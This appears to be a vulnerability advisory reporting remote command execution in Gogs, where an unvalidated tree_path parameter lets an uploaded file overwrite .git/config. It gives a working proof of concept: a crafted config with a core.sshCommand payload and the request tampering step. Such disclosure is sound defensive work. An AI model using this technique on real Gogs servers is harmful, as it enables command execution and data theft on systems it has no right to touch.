Lucene search

K
huntrWuhan005B4928CFE-4110-462F-A180-6D5673797902
HistoryMar 11, 2022 - 3:27 p.m.

Remote Command Execution in uploading repository file

2022-03-1115:27:27
wuhan005
www.huntr.dev
10

0.118 Low

EPSS

Percentile

95.3%

Description

When uploading a file to the repository in Gogs, the tree_path parameter is not been validated. The attacker can set tree_path=/.git/ to upload file into the .git directory.

Rewrite .git/config file and set core.sshCommand, which leads to remote command execution vulnerability.

Proof of Concept

Create a repository in Gogs, upload a file config to the repository on the web page:

[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
	ignorecase = true
	precomposeunicode = true
	sshCommand = echo pwnned > /tmp/poc
[remote "origin"]
	url = [email protected]:torvalds/linux.git
	fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
	remote = origin
	merge = refs/heads/master

Intercept the HTTP POST form submitting request, and set parameter to tree_path=/.git/ in request body.

Then a file with text pwnned is created in /tmp/poc.

Impact

This vulnerability is capable of executing commands on the remote server and gain the privileged user account, which leads sensitive data exposure, identity theft, etc.